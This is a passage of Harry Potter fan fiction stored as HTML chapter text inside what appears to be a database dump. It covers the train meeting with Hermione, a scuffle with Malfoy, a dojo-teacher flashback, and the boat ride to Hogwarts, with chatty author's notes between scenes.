Scabbers\nis there? He could die and you would never know the difference!\' Ron said and\nHarry and him had a good laugh about it.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\ntried a spell my brothers told me about yesterday to turn him yellow but it\ndidn\'t work. Here, I\'ll show you.\' and Ron started rummaging around in his\ntrunk then pulled out and old and battered looking wand.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">He had just raised his wand over\nthe rat n question when the door slid open again. The boy that had lost his\ntoad was back, but this time he had a girl with him. She had curly chestnut\nhair and cinnamon eyes. For some reason Harry thought she looked familiar and\nhe found himself feeling very warm all of a sudden. Harry realized that he was\nstaring at her and shook his head and focused on what she was saying.\nFortunately she hadn\'t noticed him staring. In fact the girls hadn\'t really\neven noticed him at all yet.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Has\nanyone seen a toad? Neville\'s lost one.\' she was saying. She had a bossy sort\nof voice and Harry could see that her front teeth were a little large.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' We\'ve\nalready told him we haven\'t seen it.\' But the girl wasn\'t listening. She was\nlooking at the wand in Ron\'s hand.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh are\nyou doing magic? Let\'s see it then.\' she said sitting next to Ron who looked\ntaken aback.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Er- alright, but it didn\'t work LAST time so...\' Ron\nmuttered then cleared his throat.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Sunshine,\nDaises, Butter mellow,</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Turn this stupid, fat rat\nyellow.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Nothing happened.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Are\nyou sure that\'s a real spell?\' the girls asked. \' It\ndidn\'t work very well.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well I\nguess it was probably just a joke my brothers were playing on me.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hmm.\nWell I\'ve tried a few simple spells just for practice and it\'s all worked for\nme. Nobody in my family\'s magic at all, it was ever such a surprise when I got\nthe letter. I\'m very pleased though of course. I mean it\'s the very best school\nof witchcraft there is, I\'ve heard. I\'ve learnt all our set books off by heart\nof course. I just hope it\'s enough- I\'m Hermione Granger by the way.\' the girl\nsaid all in one breath. \' Who are you?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry had memorized most of the\nbooks as well, though not on purpose, and certainly not ALL of EVERY book.\nHowever from the look on Ron\'s face he hadn\'t read any of the books at all.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Well maybe I WILL have a small\nadvantage after all. Harry thought.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\'m\nRon Weasley.\' Ron muttered.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Harry.\'\nHarry said.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Harry\nwho?\' Hermione started to say until she saw his scar. For a moment Harry\nthought she was starting to blush while she looked at him but it was only a\nmoment. Harry decided it was his imagination. Maybe she would be excited to\nmeet THE Harry Potter but she wasn\'t blushing.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Are\nyou really?\' Said Hermione. \' I\nknow all about you of course- I got a few extra books for background reading\nand you\'re in most every one published in the last eleven years!\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Am I?\'\nasked Harry feeling dazed.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' You\ndidn\'t know? I\'d have found out everything I could if it was me!\' Hermione\nexclaimed. \' Do either of you know what house you\'ll\nbe in? I\'ve been asking around and I hope I\'ll be in Gryffindor. It sounds the\nbest by far, in fact I heard that Dumbledore himself was a Griffindor,\nbut I suppose that Ravenclaw would be alright to.\nWe\'d better go get looking for Neville\'s toad again.\' she said standing to\nleave. \' You two better get changed into your robes\nyou know. I expect we\'ll be there soon.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">And with that she left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">AN- I figured that was a good place to leave off until next\ntime. More Malfoy in the next chapter I think.....</p>\n\n<p class="MsoNormal">Anywho, PLEASE REVIEW!!!!!!!!!!!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 10, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- I was thinking that someone HAS to make a Harry Potter\nanime!.....Anywho, Back to\nmore important things...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' You\ndidn\'t know? I\'d have found out everything I could if it was me!\' Hermione\nexclaimed. \' Do either of you know what house you\'ll\nbe in? I\'ve been asking around and I hope I\'ll be in Gryffindor. It sounds the\nbest by far, in fact I heard that Dumbledore himself was a Gryffindor, but I\nsuppose that Ravenclaw would be alright to. We\'d\nbetter go get looking for Neville\'s toad again.\' she said standing to leave. \' You two better get changed into your robes you know. I\nexpect we\'ll be there soon.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">And with that she left.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron threw his wand in his trunk. \' Stupid spell- George gave it to me, bet he knew it was a\ndud. Anywho (AN- sorry but I always say and type anyWHO instead of anyWAY) Anywho, whatever house I\'m in I hope she\'s not in it. What\nabout you Harry?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry actually though he wouldn\'t\nmind being in Hermione\'s house but could see that that answer would not make\nRon very happy so he ignored the question. \' What\nhouse are your brothers in?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Gryffindor.\nALL the Weasleys have been in Gryffindor! So if I\ndon\'t get into Gryffindor I\'ll disappoint EVERYONE!\' This situation was\nobviously upsetting Ron.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\'m\nsure the house you end up in will be the right one. After all I think you get\nput in one house or another depending on your characteristics not how much\nmagical ability you have.\' Harry actually had no idea but thought that his\nexplanation was the most likely one, so he wasn\'t exactly lying. Harry NEVER\nlied.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">This soothed Ron\'s nerves\nvisibly. \' So did you hear about Gringotts?\nSome one tried to break into one of the high security vaults! My brother, Bill,\nis in Africa doing some work for Gringotts that I\nTHINK might have something to do with making the security a little bit more\nsecure.\' he said.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry had indeed heard about it\nfrom his friend Kalib at Gringotts,\nwho had though Harry should know that it was probably the work of a dark arts\nmaster, for example... VOLDEMORT!!!! Dun dun dunnnnnn! (AN- heh\nheh lol!) He told\nRon what Kalib had told him about it.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Whoa.\n(AN- think Reeves.) You don\'t think You-Know-Who might be behind it do you?\'\nRon asked.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Who? Voldemort?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron gasped.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oops!\nSorry I keep forgetting!\' exclaimed Harry. \' But\nanyway I thought everyone says he\'s dead?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' They\ndo! And some people are still scared of the thought of him to this day, that\'s\nhow bad it was when he was still powerful and that\'s why you\'re so famous.\' Ron\ncould see that talking about how famous Harry was, was upsetting to Harry to he\nlet the conversation die.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' So\nwhat house was Vold... uh... You-Know-Who\nin?\' Harry asked after a few moments of uncomfortable silence.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' He was\na Slytherin. I guess it wouldn\'t be TOO bad if I was\nin Ravenclaw... or even Hufflepuff\nbut if I get put in Slytherin I think I might\nactually quit the school. Just about every dark arts wizard in the last few\nhundred years has been in Slytherin.\' (AN- I don\'t\nreally have anything against Slytherin... I just\ndon\'t like Malfoy or Snape...)</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' So I\'m\nguessing that I should hope I\'m NOT in Slytherin? Are\nyou SURE it\'s really that bad though?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Harry.\nYou obviously haven\'t been listening. If what you said about how your house is\nchosen is right then you only get put in Slytherin if you\'ve got some evil in you! George told me\nthat you have to pass some sort of test to be sorted but... well it was GEORGE\nthat told me...\'nuff said.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry wasn\'t so\nsure about Slytherin as Ron was since he hadn\'t\nreally met any Slytherins yet. Harry decided that he\nwould wait until he knew more about the houses before he could decide which one\nhe wanted to be in.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' So\nwhat can you tell me about Quidditch?\' Harry asked\nchanging the topic.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron\'s face lit up at the\nquestion. \' What do you want to know? What\'s your Quidditch team?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\ndon\'t know any.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' WHAT!!?!??!?\'\nRon yelled jumping to his feet. \' Oh, you wait. It\'s\nthe best game in the world!!\' and he started explaining all of the details to\nHarry who soaked it all up.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry was really getting into it\nwhen they heard the door to their compartment open. They looked up expecting to\nsee Hermione and Neville again. Unfortunately it wasn\'t. Instead it was the\npale boy Harry had ... encountered in Diagon Alley, Malfoy was all he could\nremember, along with two other boys. The two unknown boys were large and stupid\nlooking and not much else.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Malfoy\nlooked confused and VERY angry. The latter of the two being\nquite understandable considering how Harry had dealt with him in Diagon Alley.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The pale boy just stood there for\na moment staring at Harry. \' I heard that Harry Potter\nwas in this compartment. Looks like it wasn\'t true.\' the Malfoy\nsneered. \' Just a poor boy and a four eyed freak.\nWhat\'s the matter? Never heard of a comb before?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry just shook his head and\nignored him. Ron on the other hand had a MUCH shorter temper and on top of that\nwas very protective of his friends and family. He wasn\'t about to let some\ncomplete stranger call his family poor and he already considered Harry a\nfriend.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well\nlooks like it\'s Captain Ignorant come to plague us with his ugly mug, along\nwith his sidekicks twiddle dumb and twiddle dumber. Who the hell do you think\nyou are barging in here like that? And for your information this IS the real\nHarry Potter!\' Ron answered back.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Malfoy\nwas quite ticked off at this. \' I\'m Draco Malfoy, that\'s who. And\nit\'s obvious your a Weasley.\nMy father told me all the Weasleys are the same. Red hair, freckles and more children than they can afford. Oh\nyeah! Sure that\'s Harry Potter! Hah! The real Harry Potter wouldn\'t be hanging\naround with the likes of you!\' At this Harry gave up on hoping for a peaceful\nsolution and stood up, brushing his hair off his forehead as he did so.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Why\ndon\'t you let the \'real Harry Potter\' decide for myself who I hang around\nwith?\' Harry said without any anger in his voice.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">For a moment Draco\ndidn\'t do anything but stare at Harry\'s scar open mouthed, then\nhe realized he looked like a fool.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Uh,\nwell if I had of known that you were Harry Potter I wouldn\'t have said what I\ndid.\' Draco said sounding rather uncertain, but\ngaining confidence. \' This is Crabbe\nand Goyle. Why don\'t you come with us and I can tell\nyou who the right people to hang around with are and-\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Like I\nsaid, I\'ll decide for myself who I hang around with. Now I think you should\ngo.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron was ready for a fight and\ndidn\'t seem to realize that he and Harry were out numbered. Draco\non the other hand was a little nervous after the last time he tried to hurt\nHarry, but he figured that Crabbe and Goyle, both rather large would at least even things up.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">For a moment everyone was tensed,\nwaiting to see who would make the first move. Only Harry had any appearance of\ncalm.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">(AN- I was gonna\nend the chapter here but it was only 7kb so I was forced to keep writing.)</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">All of the sudden Draco lunged at Harry and that\'s when it started. Ron ran\nat Goyle and punched him the stomach before Goyle could blink. Ron and Goyle\nwere ignored as they continued to scuffle, neither one seeming to be winning.\nAs Draco lunged at Harry, Harry stepped aside and\nsmacked Malfoy in the back of the head as he passed\ncausing him to run into the wall of the compartment and fall to the floor. Crabbe swung at Harry but was much to\nslow Harry ducked the punch and hit Crabbe in the\nsolar plexus effectively taking him out of the fight, then turned back to Malfoy who was on his feet again. Malfoy\ntook in the sight of Crabbe rolling around on the\nfloor groaning and Harry not even winded and decided he had taught Harry and\nRon their lessons and dashed out the door. Goyle,\ncircling around with Ron, saw this, looked at Harry, then decided to help Crabbe out of the compartment, casting nervous looks at\nHarry the whole time.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron was out of breath and Harry\ncould tell from experience that he\'d have a black eye the next day but he was\ngrinning so widely he was in danger of splitting his head in half. Harry\nlaughed at his friend before it hit him. For the first time ever, Harry had a\nreal friend. He supposed that Mr. Osakawa was a\nfriend but he wasn\'t even close to being Harry\'s age.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Teach\nTHEM to talk about us like that eh Harry?\' Ron asked snapping Harry out of his\nthoughts.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry smiled and quietly answered\n\' I guess they won\'t try to fight us again too soon.\' Ron was still grinning\nmadly but Harry was just disgusted. With Malfoy for\nbeing such an idiot and picking a fight with them and insulting Ron and his\nfamily (strangely it was Malfoy insulting Ron, not\nHarry, which had really mad Harry decide to fight). However, Harry was also a\nlittle disgusted with himself, What he had learned at\nthe dojo wasn\'t meant for fighting but simply for the exhilaration he got from\ntraining. At least that was how Harry had always thought of it, but Mr Osakawa had told him something\na little different when Harry had gone, by himself, to say goodbye. It had been\nduring the last few days in Diagon Alley.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">----------------Flashback---------------------</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry stood outside of the dojo,\nit was closed, but he knew that Mr. Osakawa was\nlikely still inside doing the little paperwork required of him. Harry went\naround back and knocked on the door. After a moment the door opened revealing a\nwary Mr Osakawa. When he\nsaw who it was that was knocking on his back door after hours his eyes went\nwide and he threw his door open ushering Harry in while bombarding him with\nquestions.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Where\nhave you been Harry? Something happened at your house a few days ago and it\'s\nall over the town. Something about a giant breaking into your\nhouse with a shotgun according to your Uncle. I haven\'t seen you since.\nWhy didn\'t you come to tell me what happened? And while we\'re at it what DID\nhappen? I don\'t believe your Uncle\'s story at all and-\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry interrupted when Mr. Osakawa stopped to take a breath. \' Mr.\nOsakawa I\'ll explain it all but it will take a while\nand before I do explain there are a few things you should know about my\nparents...\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">After hours of explaining\neverything that had happened to him and then re-explaining since Mr. Osakawa hadn\'t believed him the first time, Mr. Osakawa sat back and closed his eyes, heaving a great sigh.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\ncan\'t believe it. There\'s no way... and yet it explains more about you than it\ndoesn\'t Harry. Whew.\' after a while Harry had realized that Mr. Osakawa had stopped believing him and was only humouring Harry by listening. So Harry brought out his\nwand, which he had brought along with him for just such a problem. After a few\ndemonstrations Mr. Osakawa had believed everything\nHarry had been telling him. Harry though he took it rather well considering a\nsmall boy had demolished his entire world view. After further explaining that he\nwas going to Hogwarts and what that meant Mr. Osakawa\nasked him to stay where he was and said he\'d be right back.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Ahhh. Here it is Harry.\' Mr. Osakawa\nsaid as he came back up the stairs from the dojo to the room where he and Harry\nhad been talking. He sat back down next to Harry holding a small, ornately\ncarved knife in his hands. He showed it to Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' This\nknife has been passed down from father to son in my family for five or six\ngenerations. When my father gave it to me I figured that one day I could give\nit to my son. Unfortunately I never did meet that special someone, but when you\njoined my dojo here all those years ago and showed just how good a person you\nwere I decided that I wanted you to have the knife when you grew up.\' Harry\nopened his mouth to protest but was cut off before he could begin. \' I know, I know. You don\'t want to take something like this\nfrom me, but you would be doing me a great favour.\nJust promise me that if you ever meet &quot;that special someone&quot;\nyourself, and if you ever have a son, pass it on to him along with it\'s story.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry could only nod.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I know I can\'t ever take your\nreal father\'s place and I know I can\'t make up for all the years of suffering\nyou\'ve endured from the Dursleys but I want you to\nknow that you\'re as close to a son as I\'ll ever get.\' He went on to explain\nthat the knife wasn\'t meant to be hung on a wall and admired. He gave Harry a\ncleverly designed sheath that strapped to his wrist. When you flexed the right\ntendons in your arm the knife would slip out into you palm. He made Harry\npractice until he more or less could do it every time.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">He and Harry talked for a long\ntime and Harry slowly came to realize just how much he would miss Mr. Osakawa. He supposed that this was what it was like to have\na father. They talked until well past midnight.\nHarry knew tom, the owner of the Leaky Cauldron, might worry but he was just to happy at the moment to worry. Eventually Harry started to\nnod off in the chair and he knew it was time to go.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\nthink I\'d better be going now.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\nguess you\'re right.\' Mr. Osakawa said looking\ndepressed at the thought. \' But hey, I\'ll see you at\nthe end of term won\'t I?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry nodded.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well\nthen there is one more thing I want you to understand before you go. I know\nthat you have a very trusting nature, whether you realize it or not, and I know\nthat you never trained here to learn to fight, in fact those are some of the\nreasons I\'ve given you that knife. However, you must realize that not all\npeople are worthy of your trust, and sometimes you have\nto fight with everything you have. That includes everything that you\'ve learned\nhere. Do you understand Harry?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry nodded and they exchanged\nalmost tearful fare-wells.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">----------------EndFlashback------------------</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hello!?\nAtlantis to Harry? You still with us\nHarry?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry jerked forwards. \' Huh? What?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' You zoned\nout there for a while. It\'s time to get changed. We\'re just about there.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh,\nalright.\' Harry got up from his seat and changed into his Hogwarts robes in the\nbathroom and the end of the car. Just as he was getting back to his and Ron\'s\ncompartment the train lurched and began to slow down. They were finally there.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN- Hi everyone! No one is reading this are they?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 11, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- No one will really read this so I might as well get on\nwith the writing of the story huh?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When Ron and Harry got off the train, they found themselves,\nnot an old castle as expected, but at the edge of a sheltered bay on a small\nlake.</p>\n\n<p class="MsoNormal">All around them the other first years were milling around,\nnot knowing where they were supposed to go.</p>\n\n<p class="MsoNormal">\' C\'mon Harry! This\nway!\' Ron said as he pulled on Harry\'s arm. \' Percy\ntold me that first years get to ride to the castle on boats instead of going in\nthe carriages with all the other years.\'</p>\n\n<p class="MsoNormal">Sure enough there was a fleet of boats waiting for them at\nthe waters edge, and with the boats was Hagrid.</p>\n\n<p class="MsoNormal">\' Oi! Firs\' years over here!\' Hagrid was\nbellowing. \' All righ\' there Harry?\' he asked when he\ncaught sight of Harry and Ron.</p>\n\n<p class="MsoNormal">Harry smiled and waved as he climbed into a boat after Ron.\nMost of the other first years were in the boats, four students to each, but\nHarry saw Hermione and Neville just coming off the platform where the train\nwas. They apparently hadn\'t found Trevor the toad yet as Neville looked about\nready to cry. Seeing most of the other boats already full and Hermione looking\nworried, Harry stood up in Ron and his boat and waved them over.</p>\n\n<p class="MsoNormal">Ron grabbed Harry\'s robes.</p>\n\n<p class="MsoNormal">\' What\'re ya\ndoing?\' he hissed after Harry sat back down. \' I don\'t\nwant to sit with that bossy know-it-all!\'</p>\n\n<p class="MsoNormal">\' Relax, I was waving to Neville. I\nfelt sorry for the guy. I guess Hermione has attached herself to him though...\'\nHarry said. Again, he wasn\'t EXACTLY lying. Ha HAD been waving to Neville along\nwith Hermione, and Hermione DID seem to have decided that Neville couldn\'t get\nalong without her. Which Harry had to admit to himself, Neville probably couldn\'t.</p>\n\n<p class="MsoNormal">Neville was rather shy, but thanked Harry and Ron profusely\nfor letting him ride with them. He seemed so nervous and overly grateful that\nRon started blushing and telling him it was really not a problem and forgot to\nglare at Hermione when Harry helped her into the boat.</p>\n\n<p class="MsoNormal">\' Thanks, Harry.\' Hermione said,\nlooking down away from his eyes as he gave her a hand into the boat.</p>\n\n<p class="MsoNormal">\' No problem.\' Harry answered.\nThere had been an odd sort of feeling in his stomach when Hermione had taken\nhis hand. It had left him feeling breathless and weak, almost like when Dudley\npunched him in the gut, except that it wasn\'t a really BAD feeling. Harry\nthought with a groan, that he must be getting sick. (AN- Of course Harry\nwouldn\'t think he might like Hermione, he hardly knows the meaning of\n&quot;affection&quot;. He\'s never really experienced it...)</p>\n\n<p class="MsoNormal">\' Everyone ready? All righ\' then, FORWARD!\' yelled Hagrid,\nonce he saw that everyone was in a boat and settled.</p>\n\n<p class="MsoNormal">The boats all started off from the shore at once, and headed\ntowards the open lake. Once they were clear of the bay they got their first\nlook at Hogwarts.</p>\n\n<p class="MsoNormal">It seemed to Harry, that it had been pulled straight out of\nhis dreams. The castle stood proudly atop a cliff that dropped away into the\nlake, which was surrounded on all sides by thick forests. It was a stunning and\ninspiring sight.</p>\n\n<p class="MsoNormal">The walls of the castle were taller than most houses Harry\nhad seen and were made of huge blocks of some unknown grey stone. The towers\nseemed to be rising up into the sky as though they belonged in the clouds more\nthan they belonged on the ground. They were made of pure white stone that\nseemed to have been carved from the mountain itself, as there were no seams or\ncracks to show where bricks might have been laid. At the back of the beautiful\ncastle was a large turret made much like the other towers except that it was\nshorter, wider and made of a black material that looked at though it was a\nsmooth as glass but as opaque as a rock. Harry\'s eyes seemed to slide around\nthe tower as if the tower were pushing his attention away, much like the leaky\ncauldron had until Hagrid took Harry inside.</p>\n\n<p class="MsoNormal">All of the students looked as impressed as Harry, except\nNeville, who happened to be crouching in the bottom of the boat fighting off a\nwave of seasickness. When he looked up for a moment and caught sight of the\ncastle though, he forgot about his stomach and was lost in the beauty of the\nscene.</p>\n\n<p class="MsoNormal">As the boats came closer to the castle the cliff blocked their\nview of it and broke the spell over the first years and people returned to\ntalking and giggling nervously. Here and there though, a face or two kept the\nlook of wonder.</p>\n\n<p class="MsoNormal">As they continued to approach the cliff Harry started\nwondering whether something had gone wrong. There wasn\'t anywhere to get out of\nthe boats and they were still headed right for the cliff. He was about to call\nthis to Ron\'s attention when he realized that a large part of the bottom of the\ncliff was covered in vines. By itself, this wasn\'t so unusual, but Harry\nnoticed that only one part was COMPLETELY covered, and they seemed to be headed\nright for it. Remembering what Hagrid had told him,\nabout things never being what they seemed when magic was involved, Harry\ndecided that the vines must have been grown there to hide an entrance.</p>\n\n<p class="MsoNormal">Sure enough, when they were coming right up to the cliff, Hagrid called out for everyone to duck down low and the\nvines parted as if they were being pulled aside by some invisible hand,\nrevealing a passage through the cliff.</p>\n\n<p class="MsoNormal">From his crouching position in the bottom of the boat,\nbeside Ron, Harry looked over to see how Hagrid was\ngoing to get through.</p>\n\n<p class="MsoNormal">Even with Hagrid crouched down it\nwas obvious that he wouldn\'t fit under the low archway. Only when Hagrid\'s boat went under the wall, Hagrid\'s\nhead didn\'t even brush the ceiling. It was as though the ceiling had stretched\nup for Hagrid, or maybe Hagrid\nhad shrunk to fit. It looked as if nothing had changed but the fact remained\nthat the roof was only about a foot above Harry\'s head, which meant that Hagrid\'s should have been scraping the ceiling.</p>\n\n<p class="MsoNormal">Once again Harry reminded himself that nothing was ever what\nit seemed.</p>\n\n<p class="MsoNormal">Inside the tunnel the students\' voices echoed back and forth\ncreating eerie whispering sounds. Eventually everyone fell silent as they\ncontinued on. When it seemed that they must be just past the outside castle\nwalls above the boats emerged into an open cavern with a rocky sort of beach.\nIt was an underground harbour for the boats.</p>\n\n<p class="MsoNormal">All at once the first years started talking again and\ncalling out to their friends on other boats as they climbed out onto the stones\nand pebbles.</p>\n\n<p class="MsoNormal">Hagrid bent down to pick something\nout of a boat he was inspecting.</p>\n\n<p class="MsoNormal">\' Oi\nthere! This your toad?\' Hagrid\ncalled out to Neville, who whipped around with wide eyes filled with hope then\nrelief.</p>\n\n<p class="MsoNormal">\' Ahhh,\nTrevor!\' he sighed as Hagrid handed the toad back to\nhim.</p>\n\n<p class="MsoNormal">\' This way everyone!\' Hagrid instructed, winking at Harry with a twinkle in his\neyes.</p>\n\n<p class="MsoNormal">He led them up a passage in the rack wall. It was a long way\nup, made longer by everybody\'s nervous anticipation.</p>\n\n<p class="MsoNormal">It was especially hard for Harry, who had grown to hate\nsmall places after so many years sleeping in an increasingly cramped hall\ncloset. He wasn\'t claustrophobic exactly, but the press of students in front\nand behind him, along with the narrowness of the passage made Harry feel\nfrustrated. Like he needed to stretch his arms and legs out\nas far as he could, or run as fast as he could. When Harry judged that\nthey were about halfway to the top of the cliff it started to get to him. Harry\nstarted to meditate, doing the breathing exercises he\nhad been taught. Almost right away Harry felt better. As\nthough a fresh cool breeze had reached him down in the dim rock passageway.</p>\n\n<p class="MsoNormal">Harry continued to meditate the rest of the way and it felt\nas if they reached the top in no time and he was coming out into a grassy\ncourtyard inside the castle walls.</p>\n\n<p class="MsoNormal">Hagrid led them up a flight of\nstairs to crowd around the huge, oak front door.</p>\n\n<p class="MsoNormal">\' Everyone here then?\' he asked\nturning to face them all.</p>\n\n<p class="MsoNormal">\' No, I\'m not!\' called someone\nhidden in the back of the group.</p>\n\n<p class="MsoNormal">\' Heh heh.\' Hagrid chuckled, then turned to Neville. \' Still got\nyer toad? ... Good then.\'</p>\n\n<p class="MsoNormal">Then Hagrid turned back to the\ndoor and raised a giant fist to knock on it three times and it swung open on it\'s own. In front of the students stood a\ntall, black haired, stern looking witch. Harry thought at once that this\nwas not someone to make cross.</p>\n\n<p class="MsoNormal">\' Here are the firs\' years, Professor McGonagall.\'</p>\n\n<p class="MsoNormal">\' Thank you Hagrid,\nI will take them from here.\'</p>\n\n<p class="MsoNormal">With a quick glance over the students and a &quot; Follow me.&quot;\nshe turned and led them through the entrance hall, which could have easily fit\nthe Dursleys\' house, to an empty chamber to the right\nof a door through which Harry could hear the voices of the other students.</p>\n\n<p class="MsoNormal">\' Welcome to Hogwarts.\' said\nProfessor McGonagall. She had a sort of clipped way of talking, and sounded\nvery strict. \' The start-of-term banquet will begin\nshortly, but before you can sit down for your meal you will be sorted into your\nhouses. The sorting is very important, as, while you are here at Hogwarts, your\nhouse will be like your family within this school. You will have classes with\nthe rest of your house and you will sleep in your house dormitory.</p>\n\n<p class="MsoNormal">\' The four houses are Hufflepuff, Gryffindor, Ravenclaw,\nand Slytherin. Each house has it\'s\nown noble history and has produced many great witches and wizards. While you\nare at Hogwarts, your accomplishments will earn your house points and any rule\nbreaking will lose your house points. At the end of the year, the house with\nthe most points is awarded the house cup. It is a great honour\nso I hope you are each a credit to your house.</p>\n\n<p class="MsoNormal">\' The sorting ceremony will take\nplace in a few minutes in front of the rest of the school so I suggest that you\ntry to smarten yourselves up as best you can while you are 